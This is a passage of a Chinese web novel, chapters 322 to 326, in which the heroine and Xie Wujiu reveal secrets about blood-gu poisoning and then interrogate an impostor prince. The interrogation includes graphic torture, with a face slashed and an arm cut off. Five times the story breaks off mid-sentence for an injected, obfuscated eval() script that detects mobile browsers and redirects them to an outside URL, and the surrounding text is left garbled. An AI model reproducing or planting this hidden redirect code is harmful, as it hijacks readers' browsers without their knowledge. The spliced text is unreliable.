间,但想要彻底解毒,终究还是要从天问秃驴手里找到对症的解药才行。” 顿了顿,他垂下眼皮,笑声格外凉薄。 “我想,这或许也是他的计划之一。” 他在大梁失败了,却也没完全失败,有这一手在,只要叶晚竹还想要这些人的性命,那就势必要去找天问大师。 如此一来,主动权便又回到了这位手上。 “好个该死的秃驴。”谢无咎又幽幽地哼了一声。 叶晚竹这时候将手中的东西放下,语气也变得有些冷。 “就算他不这么做,我也要找过去的,把京城搅合得一团乱,又牵扯了这么多条人命,这老秃驴想独善其身,绝不可能。” 而给小花她们下毒,无疑是让叶晚竹对他又多添了一笔账。 无论多少,她都会一笔一笔地讨回来。 “殿下好气魄。”仰头望着叶晚竹的模样,谢无咎的笑声多少显得有气无力的。 “九千岁身体如何?”叶晚竹这时候也低下了头,“何时可以出发?” 闻言,谢无咎这才愣了愣。 “你,你……”他盯着叶晚竹,喉头不知为何忽然有些发涩。 叶晚竹抱起双臂,语气仍是算不上友好。 “铲除天问大师这个秃驴,还有他的那些手下,如此重要的任务,九千岁难道不打算出一份力?” “再说,九千岁应该也很想趁着这个机会,给自己做点什么吧?” 若说审讯完无尘大师,叶晚竹还只是猜测,可刚才看着谢无咎的这一系列举动,叶晚竹已经能完全确定了。 谢无咎曾经在天问大师手下,一定还发生了很多不甚美好的事情,而他的特殊体质,也是来源于此。 除非是天问大师那样的疯子,否则,没人想当怪物,抓住他,一切或许还有转机。 叶晚竹直勾勾地对上谢无咎的双眼。 “你,”谢无咎又皱了皱眉,“你不懂,我……” “难道你不想找到解决的办法?”叶晚竹霍然打断他的犹豫,“还是说,你这么快就放弃了?” 第三百二十二章 你的秘密,和我的秘密 这或许是九千岁头一遭被如此逼问,谢无咎张了张口,面上的表情一时间相当精彩。 叶晚竹不动不语,双眼一瞬不眨地盯着他看。 “……没用的。” 最终败下阵来的还是谢无咎,他率先移开目光,动作中竟然透露出几丝狼狈。 “没用的,”他又喃喃自语了一遍,眼神望着血迹斑斑的地面,“我早就试过。” “但那是天问大师还没失败的时候。” 叶晚竹闻言却不想放弃。 “他还有招数对付你,肯定不会让你查到底,否则他拿什么赢?” “可这一次的大梁之行,无疑让他元气大伤,这个时候追过去,是最好,也是最有胜算的时机。” “等他重整旗鼓,那才是真的晚了,他发现了你的秘密,肯定会来下手补救的!” 一句句地说着,见谢无咎依旧垂着脑袋,心灰意冷地望着地面,叶晚竹心头火起,抬手捏住他的下巴,强迫他抬起头来。 “你跟我说好,要活下来的。” 叶晚竹的声音这会儿有些哆嗦了,“你不能食言。” 被抓起脑袋逼问的震惊过后,谢无咎的表情这会儿已经变得无奈起来。 “你从南疆回来了,我还活着,我们的约定已经结束了。” “我说只是一次了吗?”叶晚竹咬牙,“这次也算!” 谢无咎一哽,平静冷淡的面具终于裂开了一道缝隙。 “我是很想答应你,”他忍不住叹了口气,“可我实在没办法保证。” “晚竹,那纸条你看到了,血月出,蛊王现。” “我身上种着的,就是血蛊王。” 终于说出这个秘密,谢无咎眉头微蹙,似乎并没有多少情绪。 叶晚竹也只是沉下目光,同样不算意外。 那个晚上,密信里写着的一切都出现了,唯独蛊王的身份没人认领。 “那个假扮成你的血蛊宿主……”她又忍不住犹豫着。 万一呢? “那是天问秃驴以为的血蛊王。” 谢无咎轻声回答着叶晚竹的问题,面上的表情似乎很不情愿。 片刻之后,他却好像彻底放弃了一般。 “血蛊王并不是好培育的,蛊体和宿主都十分霸道,配合不好便是两败俱伤,为了这个,天问那秃驴没少损失。” “他以为我也是失败品,这么多年来,我也以为我是失败品,虽然留下了一条性命,却还是身中奇毒,无药可解。” “如果不是血月,我也不会知道,那秃驴在我身上的实验,居然成功了。” 一口气说了一长串,谢无咎的忍耐到了极限,转头又重重地喘息了一声。 要制作蛊兵,首先得将尚未成型的身蛊虫放入宿主体内,而后才能继续接下来的步骤。 换句话说,要成为宿主,首要条件就是体内得有蛊虫。 一般的血蛊蛊虫只是喜欢鲜血,只要宿主是活人,便能安安心心地扎根在体内,吸血壮大。 可蛊王则不同,不仅毒性霸道,常人一沾即死,还十分挑剔,绝对不会屈居自己留在不适合的宿主体内。 能给蛊王当温床的身体,都被天问大师用精心研究的各种**浇灌过,坚持下来的才能被放入蛊王,继续观察。 谢无咎当年闯过了这第一关,还让血蛊王在体内停留了一个晚上,可第二天天刚亮,那狰狞的虫子便硬生生从谢无咎皮肤中挤了出来,还愤怒地**了。 以往培育失败,都是无能的宿主被毒死,蛊王**还是头一回。 谢无咎被天问大师按着又研究了好长时间,却什么都没发现,浪费了时间还一无所获,天问大师对他又是百般折磨。 后来,他找机会逃离了天问大师,辗转回到京城,那便是另外一个故事了。 “那秃驴当初在我身上种下数十种**,无一可解,这么多年来,我一直在暗中寻找,却都没有收获。” 袒露自己心底的秘密,显然是一件十分耗费力气的事情,谢无咎抬手按在眼睛上,忽然又笑了起来。 “我本以为我能活这么久,或许是因为那些**互相牵制,恰好保持了平衡,却没想到……” 没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058109|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,他才是那个最毒的! 血蛊王乃万毒之首,什么**在他面前,都要退避三舍! 谢无咎又哀哀地笑了起来。 他以为他是个苟延残喘之人,没想到,他还是个妖怪! “那你就更得跟我走一趟南疆了。” 听着谢无咎身一迭声地吐露秘密的时候,叶晚竹一直没出声,直到这个时候,她才淡定地开了口。 “天问那老秃驴肯定也对自己做了什么,不然血月来临的时候,他也不会忽然功力大涨。” “血蛊都在他手里,没有你帮忙,我们去再多的人,也没胜算。” 谢无咎张了张口,半天都不知道该说什么。 这是在安慰他? 他怎么听都不像! “你拿我当武器呢?”片刻后,堂堂九千岁终于不忿地哼了一声。 “倒也不完全是。” 叶晚竹轻笑一声,又压低了声音。 “九千岁如此慷慨,把这个秘密告诉了我,为表感谢,我也只好把我身上最大的秘密告诉你了。” “愿闻其详。” 懒懒散散地哼了一声,谢无咎的声音里听不出多少真诚。 “我死过一次。”叶晚竹挺直了腰杆。 “你死——” 差点儿咬了舌头,谢无咎猛地瞪大双眼,先是错愕地抬头,随即又蹙起眉,“别胡说。” 好端端的,怎么就咒自己死? 他还没咒呢! “这是真的。” 叶晚竹的语气依然十分平静。 “九千岁最初在街上遇到我的时候,应该就派人把我的生平调查了个底朝天吧?你难道没有奇怪过,一个软弱又愚蠢,把全副身家如此轻易地交给了完全不可信之人的内宅妇人,为什么会忽然之间就性情大变?就算是伪装,总也不能这么彻头彻尾吧?” 谢无咎的表情忍不住变得有些惊疑不定。 毕竟,他说自己是怪物的话,放在外面也没多少人会相信。 可是…… “你为什么要说这个?”他皱起眉头。 第三百二十三章 我要你活 叶晚竹老神在在地摊了摊手。 “**都能复活,九千岁好端端地一个活人,怎么总想着自己马上就活不下去了?” 谢无咎闻言又一时哑然,张了张嘴,自己都数不清这是今天第几次无话可说了。 叶晚竹的声音却又变得正经了一点。 “我这是在安慰你,你听出来了没有?” “……多谢。”欲言又止几次,谢无咎的语气有些讪讪的。 “这么重要的一个秘密,我还从来没对别人说过。”叶晚竹这时候又补了一句。 谢无咎知情识趣,“殿下放下,出你口,入我耳,绝对保密。” “我的意思是——你欠我这么大的人情,得还。”叶晚竹说得颇为理直气壮。 “不知殿下想要什么?” 不轻不重地说着话,谢无咎空着的手忍不住摩挲起手腕上的珠串来。 “我要你活。” 看着谢无咎听了这话毫不意外,只是有些哭笑不得的表情,叶晚竹忽然伸手,将他腕间的珠串拿了过去。 “……殿下,您是不是有点过于霸道了?”谢无咎手上的动作一顿,轻声开口,不知道说的是哪一桩。 叶晚竹权当自己什么都没有听见,对着光仔仔细细地打量着这雕刻精美的小骷髅头。 无论是传闻中还是现实里,九千岁手中的这串珠串一直贴身存放,从来没有离开过自己半寸。 叶晚竹恐怕是第一个把这宝贝戴到自己手腕上的,她抬起胳膊又看了两眼,蓦地笑了起来。 “要是我没猜错,这应该是一样和天问大师有关系的东西吧?” 东厂里什么都有,就是没有佛像,谢无咎对佛无喜无憎,能让他将这样的东西随身带着,那只能是天问大师这个假和尚的缘故了。 大概是已经说出了心里最深处的秘密,谢无咎这会儿并没有多少抗拒的神色。 “这是他们那个秃驴组织的标志,虽然不知道叫什么,但我逃跑的时候看到了。” 把这样东西随时带着,才能提醒他,自己的与众不同,还有未报的仇。 “你到底是什么人?” 叶晚竹这会儿又好奇了起来。 “天问那秃驴为什么会抓你一个大梁人?” 谢无咎身上一点儿异域气息都没有,从长相到身材,显然都是不折不扣的大梁人士,尤其是那口京城官话,除非从小耳濡目染,否则不可能如此地道。 天问大师的大本营在南疆,那个时候,他跑到大梁来做什么? 谢无咎的眼神又闪了闪。 “那谁知道?”他忽然轻笑一声,“说不定是我天资过人,骨骼清奇,让那秃驴从千里之外都动了心思。” 又是一桩不想说的心事。 谢无咎身上的秘密比这会儿京城里外的蛊兵还多,叶晚竹叹了口气,也不多问,又用指尖把那个珠串挑了起来。 “不祥之物不能久留,九千岁应该没有意见吧?” 一句话还没说完,她手上用力,将那一颗颗骷髅头捏成了一团碎块。 “你……” 谢无咎眨了眨眼。 “要报仇就准备一下,我们尽快出发。”叶晚竹拍掉掌心的木屑,“九千岁的风度,岂能被几个小骷髅折损?这东西克你,不能留了。” 谢无咎仍是没说话,起伏不定的胸口多少泄露了几分心绪。 不知道是因为方才的一番坦白,还是叶晚竹的话当真有理,他这会儿觉得呼吸顺畅了不少。 从天问大师出现,一块沉甸甸的大石头便压在谢无咎心口,随着时间推移,甚至还有了越发严重的情况。 几度**,又都能完好无损地醒来,谢无咎的心情却变得越来越糟糕。 直到血月来临的那个晚上,谢无咎第一次发现了自己体内的变化,也不得不承认了血蛊王的真相。 当时情况紧急,没有给他思考的空间,直到他力竭昏迷,一切结束,醒来时又发现自己已经到了安王别院,谢无咎这才感到阵阵情绪一起涌上心头。 他是一个怪物? 这想法让谢无咎头疼欲裂,感到全身都没了力气。 他怎么能顶着这幅怪物的躯壳,隐匿在人间存活? 那岂不是成了和天问秃驴一样不要脸的存在? 可就在刚刚,这股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058110|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晦暗到毫无希望的冲动就这么淡了下去。 天问那秃驴做事向来会留有余地。 万一呢? 神情变幻,谢无咎最终抬起头来看向叶晚竹的时候,模样便显得镇定了不少。 “多谢殿下开解。” 叶晚竹悬在嗓子眼的心不动声色地沉了下去,嘴上却不服软,“九千岁记得对本殿下的回报就好。” “我——” “诶呀,来了来了!” 谢无咎正要开口,岑灵川气喘吁吁的声音便从院中传了进来。 岑灵川满头大汗地在小厨房折腾了半天,一边烧水一边调整温度,好不容易才倒满一桶,忙不迭地运了过来。 都是人命啊! “快,来吧!” 闷头冲进屋中,又将木桶往地上一放,他抬手擦了擦汗,丝毫没有发现屋中的气氛有些莫名的微妙。 “九千岁请吧?”他转头看向谢无咎,这才眉头一皱,“怎么了,是伤势不稳?” 谢无咎早已经把衣裳穿得整整齐齐,心口的伤也挡得十分严实,他一抿唇,露出一个春分和煦的笑容。 “伤势无妨,只是方才替几位解毒,有些劳神费力,休息一会儿就没事了。” “……解毒?”岑灵川立刻捕捉到了什么,“你已经给她们解毒了?” 谢无咎矜持颔首。 岑灵川跳得像猴,“那你让我准备这水是什么意思?” 不能热不能凉,他试温度试得胳膊都烫红了! “那是最初的判断,”谢无咎连眼睛都没眨,“后来发现她们的情况似乎有些变化,情急之下直接动手,忘记让人转告岑师兄了。” 岑灵川站在原地眨眼,看上去好像随时有可能被气晕过去。 “师兄来的倒是正好。” 到底是自己的亲师兄,叶晚竹还是清了清嗓子。 “师姐她们都沾了一身的血,我来替她们擦擦身子好了。” 岑灵川闻言却并没有被安慰到多少。 所以,他费了这么大的力气,烧的就是洗澡水? “等等,你们两个是不是有事瞒着我?” 第三百二十四章 臣要送给殿下一个奸细 自认离傻子有很长的一段距离,岑灵川回味着他进屋之后看到的一幕幕,怀疑的目光突然锁定在叶晚竹和谢无咎身上。 不对劲。 很不对劲。 但若要真说哪里不对劲,岑灵川又有些张不开口。 “这么快就被岑师兄发现了,果然好眼力。” 这个时候,谢无咎慢悠悠地开了口。 “本督正在挟恩图报,想让殿下许我一点好处,没想到师兄回来的这么快。” 岑灵川的眼角不由得又抽了两下。 有把挟恩图报说得这么理直气壮的吗? 还有,这九千岁想在他师妹身上,要什么好处? 叶晚竹和谢无咎之间那点隐秘又和谐的氛围,瞒不过身边人的眼睛,岑灵川忽然眉头一皱,抬手指着谢无咎的鼻子。 “你等会儿,”他神情混乱,“你是东厂的统领,那,那你不是……” 你不是个太监吗? 所以才要挟恩图报是吧! 大骂一声,岑灵川就要冲上去,“我砍了你!” 居然敢动这种歪心思! “假的。” 没等岑灵川冲到近前,叶晚竹抬手拦了他一把。 “什么假的?” 下意识地问着话,岑灵川又愣了片刻,才又反应过来。 假的? 谢无咎的太监身份……是假的? 他不是皇上的近侍吗?这也敢**? 上面的脑袋不想要了? 再等等—— “你怎么知道?”岑灵川越发惊悚地看着叶晚竹。 叶晚竹又假装自己什么都没听见,翻出一张还算干净的帕子,往水桶那边走。 “你给我回来!”岑灵川咬牙切齿地要拦,“把话说清楚啊!” 这么不上不下地吊着人的胃口,真的好吗? “咝……师兄。” 他刚要转头,肩膀却被人搭住,一回头,是谢无咎站了起来,又摇摇晃晃地把大半的重量都压到了岑灵川的身上。 “你干什么?” 本想甩开,闻到扑面而来的血腥味,岑灵川又停下了手上的动作。 “我有些体力不支,想回房休息一下,有劳师兄搭把手吧。”谢无咎话说得理直气壮,不过声音的确是虚弱无力的。 叹了口气,岑灵川抓起他的胳膊,抬着谢无咎往屋外走去。 问这个也是一样的! —— 叶晚竹花了点时间,才把屋中人都清理干净。 热水换了一桶又一桶,后来听到这边的动静,朝中大人们也将为数不多的丫鬟和嬷嬷送来帮忙。 等一切都处理完,暮色四合,又是整整一天过去了。 叶晚竹从屋中走出的时候,院里已经点上了灯笼,微弱的灯光之下,一个东厂的侍卫朝着她跑了过来。 “殿下,倪宰相醒了,他要见您。” “他情况如何?”闻言,叶晚竹又朝远离房间的方向走了两步。 虽然已经打算好,要把别院里的事务交给这位打理,不过,倪宰相到底对她有多少信任,叶晚竹也不确定。 侍卫小心翼翼地躬着身子,“相爷瞧着还算冷静,他让小的告诉您,这件事非常重要,请您务必前去。” 顿了顿,叶晚竹随即点头,“那就走吧。” 两人来到倪宰相所在的屋外时,天更黑了,屋子里点着烛灯,相府的小厮却在屋外眼巴巴地望着来路。 见到叶晚竹的身影出现,他双眼一亮,“殿下!” 话音未落,倪宰相也猛地推开门,从屋中冲了出来! “大人要干什么?”见他如此癫狂,那个东厂侍卫忍不住上前两步,将叶晚竹挡在身后。 倪宰相这会儿的状态瞧着算不上好,灯笼的光线之下,那双乌黑的眼圈显得格外明显。 他直勾勾地朝着叶晚竹望来。 “大人有什么话,直说便是。”叶晚竹点了点头,神态间并未现出多少不悦,也看不出方才针锋相对的痕迹。 倪宰相抿了抿唇,朝着屋中抬手示意。 “这件事,还请殿下屏退左右,臣才好说明。” 将那个东厂的侍卫留在屋外,叶晚竹关上房门,回身便对上了倪宰相依旧欲言又止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061104|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神情。 “方才在前面是情况特殊,我不得不用些手段,对大人没有恶意,请大人放心。”叶晚竹不由得又叹了口气。 朝中的大人们勾心斗角几乎已经成了本能,这个时候,就算他们有心想放开心胸,看上去也不是一件容易的事情。 倪宰相闻言便又讪讪地笑了两声。 “是臣以小人之心度君子之腹,”他清了清嗓子,到底还是又添了句套话,才切入正题。 “殿下,宫中被烧之后,臣等曾经自发组织,入宫寻找陛下。” 听着他这句话,叶晚竹倒是有些意外,随即又垂下眼,挡住眼底的黯淡。 那个时候,天问大师应该正在京中。 莫说早就薨了的昭德帝,就连安王和那两个圣上身边的影卫都在那场大火中没了消息,想来定是早就凶多吉少。 “大人找到了什么?”掩下心绪,叶晚竹继续问道。 “一个奸细。” “奸细?” 叶晚竹不由得有些摸不着头脑。 到了这个时候,这倪相爷却又变得言简意赅了。 倪宰相便尽量精简地将他们在宫中的废墟上发现了那个假孟希越的事情说了出来。 “臣看那人贼眉鼠眼,无论气质还是行为,都和安王世子截然不同,肯定是那什么天问老秃驴的手下!” 说着说着,倪宰相又变得义愤填膺,“于是臣假装什么都没发现,借口宫中被毁,将那假冒的世子带到府中。” “今天一早听到消息,臣便让人将他打晕,一并带了过来。” 说到这儿,倪宰相忽然站起身子,走到叶晚竹面前,朝她深深地拜了一拜。 “殿下,”他语气沉痛,“先前是臣有眼无珠,心怀叵测,险些耽搁了大事,如今醒来,不敢再妄自托大,这就将那乱臣贼子交给殿下处置!” 叶晚竹也站起身来,“大人不必过于自责,此人现在在什么地方?” 无尘大师是个老滑头,嘴里的话半真半假,叶晚竹正需要验证他提供的那些信息,眼下就来了个现成的人选。 “请殿下随臣来!” 第三百二十五章 老实交代 跟着倪宰相的步伐,叶晚竹来到隔壁的一间屋外,这里门前正是站着两个一脸警惕的相府护院。 将人遣走,倪宰相推开房门,叶晚竹上前两步,这就跟一张熟悉的脸对上了视线。 虽然是亲眼看着孟希越死在自己眼前,叶晚竹这会儿还是忍不住有些恍惚。 太像了。 简直和真正的孟希越一模一样。 不过,或许要除了神情。 假冒的安王世子这会儿正清醒着,看到从屋外而来的两人,他先是一怔,眼珠子控制不住地转了一圈,然后才不悦地皱起了眉头。 “倪大人,这是怎么回事啊?” 假孟希越开了口,声音嘶哑难听,“这是什么地方,你又为什么要绑着本世子?” “哼!装模作样,没杀了你,已经是老夫忍耐之下的结果了!” 看了一眼被五花大绑着的人,倪宰相冷哼着,积攒了多时的怨念终于能喷薄而出。 “说!那个天问老秃驴让你干什么?” 听见这两个字,孟希越的身子跟着瑟缩了一下,又故作疑惑,“什么天问?这,这是什么人?” 叶晚竹这会儿也忍不住笑出声来。 “怎么,和天问大师合作了那么久,从南疆到大梁,世子竟然不知道这是在说谁?” 顺着她的声音,假孟希越转头看来,眼神是控制不住的惊悚。 “我,我……” “不如我来替你编吧,”叶晚竹老神在在地抱起双臂,“你可以说,宫中失火的时候,你为了救圣上,一不小心把脑袋撞坏了,好多事情都忘记了——这个借口怎么样?” 从假孟希越的脸上来看,这应该是个好借口,就是他嘴唇蠕动着,实在是说不出什么话来。 “选了你这么一个笨蛋来伪装孟希越,这应该不是天问大师的本意吧?” 斜晲着他变幻不停的表情,叶晚竹轻笑一声。 “你的出现是个意外,对吧?” 按照天问大师的计划,应该坐在皇位上的人,就是真正的孟希越,只是没想到他被带走,又在蛊虫的影响下死在了禹山上,所以,天问大师只能出此下策。 “临时找人扮演安王世子可不容易,那个时候,京城里应该也是一片混乱。” 俯身看着被绑在椅子上,连动一动都十分困难的人,叶晚竹忽然又咧开嘴笑了一下。 “你是他手下的什么小喽啰?” 假孟希越的表情瞬间变得非常难看,五官扭曲,仿佛是想极力压制住心底的惊涛骇浪,却终究还是失败了。 “我,本世子听不懂你在说什么!”他唯一能做的就是咬死不放,“放开本世子,否则,要你们好看!” 叶晚竹直起身子,一脚就踹到他胸口上去了。 椅子瞬间向后倾倒,假孟希越倒吸一口冷气,咚地一声狠狠摔在地上,忍不住呻吟了半句。 后半句还没来得及出声,叶晚竹的脚便再次上前,重重地踏在他的脸上! “唔唔……”假孟希越发出几声含糊不清的呓语。 倪宰相站在远一些的地方,看着眼前的景象,忍不住抬手摸了摸自己先前被岑灵川打的那个耳光。 这么看来,他还算是幸运。 至少是用手打的…… “废话少说,关于天问大师,你都知道什么?” 垂着目光看下去,叶晚竹的眼神和语气一个比一个冷漠。 “一五一十地说出来,否则,我也要你好看。” 一边模仿着这假孟希越刚才的口吻,叶晚竹一边不紧不慢地从怀里摸出一把**,拿在手里把玩。 “我不像你,连威胁都说得那么似是而非,”她语气淡淡,“你不说,我这就帮你摘了这张脸,让你用真面目好好地示人。” 天问大师的换脸有两种办法,一是**之后割下脸皮,做成面具,二,就是让隐竹动手了。 孟希越死在禹山上,没有脸皮能给这位用,所以他的脸是隐竹所做。 叶晚竹见过那样的画面,和当初的安王一样,这位的脸应该已经被硬生生地改成了孟希越的模样。 不过……怎么不见有伤口? 为了养得天衣无缝,安王那个时候可是还喝了不少养颜的汤药。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061105|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会儿,无论叶晚竹怎么打量,出现在眼前的这张脸都光滑无匹,看不出半点动过刀子的痕迹。 心念一动,叶晚竹抬手便是一刀划下! “啊——” 鲜血飞溅,倪宰相的腿先软了,踉跄两步,后背咚地一声撞在墙上。 这假冒的孟希越也倒抽一口冷气,随即似乎又想到了什么,试图抬手去遮挡脸上的伤口。 可他忘了自己被五花大绑,发现动作不得,便又立刻扭过脑袋,不想被叶晚竹看到。 可惜,已经晚了。 在叶晚竹的注视之下,那一寸长的伤口已经不再流血,就这么一会儿功夫,伤口的边缘向内卷曲着,似乎要准备结痂愈合了。 冷笑一声,叶晚竹再下手,便是朝着这位的整条胳膊而去的了。 “啊啊啊!” 撕心裂肺的惨叫响彻屋中,还伴随着一声闷响,倪宰相看着叶晚竹高高举起的胳膊,先一步本能地闭上了双眼! 不管接下来是什么画面,他不看最好! 幸亏他没看。 叶晚竹一刀剁下了这冒牌货的整条小臂,鲜血再次飞溅而出,比刚才猛烈了不知道多少倍。 假孟希越浑身抽搐着,想晕倒,伤口却被叶晚竹又用刀尖挑了挑,只能在更加尖锐的疼痛里翻着白眼被迫醒了过来。 “你……”他有气无力地盯着叶晚竹。 “别说话,”叶晚竹的眼睛只看着那伤口,“又快长好了。” 虽然这冒牌货的断肢处没有长出半条崭新的胳膊,但他那血肉模糊的伤口却又开始愈合,出血量以肉眼可见的速度下降,直到慢慢停住。 叶晚竹看了看被自己捏在手中的这节断臂。 “如果我现在再撕开这个伤口,把你的胳膊接上去,你是不是能恢复如初?”她吹了声不长不短的口哨。 “疯子!”假孟希越的脸上已经被汗水浸湿,“你这个疯子!” “知道就好。” 叶晚竹在他面前蹲了下来,又晃晃手里的**。 “不想以后拿脚当手用,就老实点,把你知道的,都说出来!” 第三百二十六章 大师来自何方? 把脚当手用? 倪宰相虽然紧紧地闭着双眼,脑袋里却忍不住疯狂地出现了相关画面。 再结合着这屋子里满满的血腥气息,可怜的老相爷下意识地就想干呕。 刚要出声,他却忽然又硬生生地忍住了。 那边审讯呢! 他可不能添乱! 本来他就没给威远王留下什么好印象! 倪宰相的自我修养没让另一边的两个人注意到,叶晚竹依旧不紧不慢地晃着手里的**,在她下方,冒牌货的脸色却因为这话而变得更加惨白。 “我,我只是天问大师身边的一个下人,只负责传话,我真的什么都不知道啊!” 不想以后抬起胳膊却看见自己的脚,冒牌货终于放下了本就没端起来的世子架子。 “女侠,我说的都是真的……” “叫殿下!”几步之外的地方,倪宰相听着这话又顾不上反胃了。 什么女侠! 还嫌不够乱是不是? “殿下!”冒牌货连忙跟着改口,一双眼睛期期艾艾地看着叶晚竹。 “你叫什么?” **还攥在手里,叶晚竹的态度倒是好了些,微微抬起脚,给了这位一点呼吸的空间。 “小的宁空。” 大口大口地喘着粗气,宁空也不敢耽搁,低声报上自己的名字。 见叶晚竹垂着眼皮不出声,似乎很是不满意,宁空的脑子艰难地转了转,这才明白过来。 “小的是被天问大师招揽到身边的,我们那里穷,家里孩子太多,实在是养**,天问大师四处招揽人才,给饭吃,小的就跟着他了。” “不过我们这些当下人的,只有给主人跑腿送信的差事可以做,大师们到底在干什么,我们一点也不敢打听,否则……就只有消失不见的份儿。” 说到这儿,不知道是想起了什么,宁空猛地打了个哆嗦。 “小的从前负责给孟世子送信,也算见过他几面,那天城外传来消息,说孟世子被抓走了,天问大师便让小的顶上,除此之外,他什么都没和小的说,小的也什么都不知道……” 都已经过去了这么长时间,人也被带到这里来审讯了,宁空就是再心怀侥幸,也知道自己就是一颗没用的弃子。 他垂下眼皮,看上去倒也没有太多别的情绪。 “殿下,小的就知道这么多。” 要杀要剐,他都准备好了。 叶晚竹的靴子动了动,走到桌边坐了下来。 “你说你只是普通下人,那你这体质是怎么回事?”叶晚竹给自己倒了杯水,浅抿一口,早就已经冷透了。 宁空老实巴交地道,“我们被招揽之后,每人都会发一些药,定期服用,身体就会产生一些不同的变化,我是这样,还有人会变得强壮,有人能看到很远的地方,效果很多。” “大师说,这是他送给我们的见面礼。” 叶晚竹倒是听得明白。 这是一批现成的试药人。 “他是怎么招揽你们的?”她又换了个坐姿。 宁空闻言,脸上又露出了几分不好意思的模样。 “每逢初七十四,大师都会在我们那里开设粥棚,附近没饭吃的人都会过来,大师让人出来挑选,因为有吃的,绝大部分人都会同意。” “呵,这个日子,够阴的。” 岑灵川的声音在这时响起,叶晚竹扭过头,便见他大踏步往屋中走来。 “谢无咎呢?” “睡了。” 提起这位,岑灵川顿时又磨了磨牙。 他本想趁机从谢无咎口中套出点什么东西来,可这位九千岁一回到屋中便大口吐血,又浑身抽搐,岑灵川不知道费了多大力气,才把他半醒不醒之下提到的药丸找到,再塞进谢无咎的嘴里。 忙完这一桩,谢无咎清醒过来,说的第一句话就是让他保密,尤其是对叶晚竹。 “她最近忙得很,我暂时还死不了,就别让她多惦记了。” 九千岁大人的语气轻飘飘的,却听的岑灵川十分憋屈。 这会儿,看着叶晚竹疑惑审视的目光,岑灵川只能又把牙关咬紧了两分。 “什么都没问出来,不愧是九千岁,你满意了吧?” 叶晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064645|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹:…… 她还什么都没说呢! “你!” 不想多说,岑灵川又扭头朝着宁空吼,“继续交代,天问那老秃驴选这么阴的日子,肯定有企图,他还对你们做了什么?” 倪宰相在他进门的时候就睁开了双眼,听着岑灵川的话,他不觉又露出了震惊的表情。 这凶徒是什么时候来的,怎么什么都听到了? 叶晚竹的表情仍是不意外,师兄耳目过人,房门又开着,他一路走来,顺便而已。 宁空瞪着岑灵川,表情有些愤怒。 “阴?这是大好的日子!” 这下连叶晚竹的眼皮都跟着跳了跳。 逢七十四,在大梁是祭奠逝者,操办白事的日期节点。 大好的日子? “我知道大师对你们的所作所为,在你们看来有些过分,你们一时理解不了也就罢了,怎么能信口开河呢?”宁空的表情这会儿更难看,“太不敬了!” 叶晚竹忍不住转头,先看了看脸上写满神奇的师兄,又缓缓对上了倪宰相欲言又止的眼睛。 这话说的,究竟是谁更不敬? 倪宰相在朝中多年,大梁和南疆的战事,他全程跟进,这会儿忍不住摸了摸胡子,沉声道,“就算是南疆蛮夷,也从未听说过这样的习俗!宁空小儿,你休要信口雌黄,快快将实话道来!” 他习惯了这文绉绉的说话方式,没有半点杀伤力,宁空的眉头反而皱得更紧了。 “谁说我是南疆人了?” 闻言,叶晚竹又是一愣。 天问大师和孟希越结盟,又调动南疆兵马,就连逃跑的方向都是南疆,这么一连串的动作下来,所有人都默认了这位就是出身南疆。 可宁空的话…… 